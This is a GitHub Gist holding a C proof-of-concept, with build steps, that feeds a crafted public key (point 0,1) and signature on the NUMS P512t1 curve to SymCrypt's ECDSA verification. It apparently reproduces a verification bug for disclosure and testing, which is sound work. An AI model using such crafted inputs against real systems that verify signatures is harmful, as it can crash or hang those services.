Created
December 18, 2020 18:09
-
-
Save guidovranken/fc172645634469dbdfb59b0ee92ab753 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* Compile: | |
export CC=clang | |
git clone --depth 1 https://github.com/microsoft/SymCrypt.git | |
cd SymCrypt/ | |
# Unittests don't build with clang and are not needed anyway | |
sed -i "s/^add_subdirectory(unittest)$//g" CMakeLists.txt | |
mkdir b/ | |
cd b/ | |
cmake ../ | |
make -j$(nproc) | |
export SYMCRYPT_INCLUDE_PATH=$(realpath ../inc/) | |
export LIBSYMCRYPT_COMMON_A_PATH=$(realpath lib/x86_64/Generic/libsymcrypt_common.a) | |
$CC -DSYMCRYPT_IGNORE_PLATFORM $CFLAGS -I $SYMCRYPT_INCLUDE_PATH symcrypt_poc.c $LIBSYMCRYPT_COMMON_A_PATH | |
*/ | |
#include <symcrypt.h> | |
#include <stdlib.h> | |
#define CF_CHECK_EQ(expr, res) if ( (expr) != (res) ) { goto end; } | |
#define CF_CHECK_NE(expr, res) if ( (expr) == (res) ) { goto end; } | |
void SymCryptFatal(UINT32 fatalCode) { | |
(void)fatalCode; | |
abort(); | |
} | |
void SymCryptInjectError( PBYTE pbData, SIZE_T cbData ) { | |
(void)pbData; | |
(void)cbData; | |
} | |
PVOID SymCryptCallbackAlloc( SIZE_T nBytes ) { | |
return malloc(nBytes); | |
} | |
VOID SymCryptCallbackFree( VOID * pMem ) { | |
free(pMem); | |
} | |
SYMCRYPT_ERROR SymCryptCallbackRandom(PBYTE pbBuffer, SIZE_T cbBuffer ) { | |
abort(); | |
} | |
SYMCRYPT_CPU_FEATURES | |
SymCryptCpuFeaturesNeverPresent(void) { | |
return 0; | |
} | |
int main(void) | |
{ | |
const unsigned char hash[] = {0xc4, 0x54, 0xa2, 0x37, 0xc9, 0x82, 0x68, 0xb8, 0x4a, 0xfc, 0xfc, 0x34, 0xaf, 0xec, 0x48, 0x5a, 0x56}; | |
/* | |
public key X: 0 | |
public key Y: 1 | |
*/ | |
const unsigned char pub[] = { | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01}; | |
/* | |
signature R: 1534270052009251522911029728678638184234250851495314211035431412111658066622653330414261998959050458210503178649420191744489194961375195418788708722506854 | |
signature S: 2247815846115179333257232901581169621106067190445136220511896097098116146764790397368493068907146953312230301117436865037560916956897315588811927438646435 | |
*/ | |
const unsigned char sig[] = {0x1D, 0x4B, 0x5B, 0x15, 0x88, 0x20, 0x94, 0x59, 0x95, 0x7C, 0xBE, 0x14, 0x11, 0xE8, 0x6E, 0xB7, 0xB5, 0x8E, 0xE2, 0x82, 0xF3, 0x13, 0x3D, 0x4F, 0xA1, 0xB1, 0x18, 0x4F, 0x7F, 0x0D, 0x05, 0xAE, 0x48, 0x67, 0xD7, 0xAD, 0x36, 0x0C, 0x43, 0x92, 0xC3, 0x8B, 0x37, 0x11, 0x2F, 0x66, 0x28, 0xB4, 0x72, 0x2D, 0xBC, 0x53, 0x8E, 0x55, 0x15, 0x1F, 0xDD, 0xAE, 0xE8, 0x73, 0xA9, 0xE5, 0x7C, 0x66, 0x2A, 0xEB, 0x18, 0x51, 0x0E, 0x01, 0x12, 0x79, 0xEC, 0xE0, 0x48, 0x58, 0x70, 0xEB, 0xBE, 0x36, 0xEC, 0xCE, 0x83, 0x91, 0xD4, 0x4F, 0xBB, 0x15, 0x06, 0x3C, 0xEF, 0xA0, 0xD9, 0xB9, 0xC1, 0x08, 0xAF, 0x0B, 0xD5, 0x10, 0x4F, 0xD5, 0xE7, 0xCA, 0xE3, 0x3B, 0x95, 0x2B, 0xEA, 0xC9, 0x17, 0x0D, 0x49, 0x3E, 0xFE, 0x02, 0x9A, 0x57, 0x50, 0x68, 0x36, 0x2E, 0x67, 0xF5, 0x71, 0x2A, 0x5C, 0xA3}; | |
SYMCRYPT_ECURVE* curve = SymCryptEcurveAllocate(SymCryptEcurveParamsNumsP512t1, 0); | |
SYMCRYPT_ECKEY* key = NULL; | |
const SYMCRYPT_ECURVE_PARAMS* curveParams = NULL; | |
CF_CHECK_NE(key = SymCryptEckeyAllocate(curve), NULL); | |
CF_CHECK_EQ(SymCryptEckeySetValue( | |
NULL, 0, | |
pub, sizeof(pub), | |
SYMCRYPT_NUMBER_FORMAT_MSB_FIRST, SYMCRYPT_ECPOINT_FORMAT_XY, | |
0, key), SYMCRYPT_NO_ERROR); | |
SymCryptEcDsaVerify( | |
key, | |
hash, | |
sizeof(hash), | |
sig, | |
sizeof(sig), | |
SYMCRYPT_NUMBER_FORMAT_MSB_FIRST, | |
0); | |
end: | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment